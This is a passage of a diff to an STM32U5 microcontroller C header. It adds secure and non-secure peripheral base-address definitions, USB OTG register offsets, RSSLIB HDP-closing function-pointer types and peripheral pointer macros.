SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) 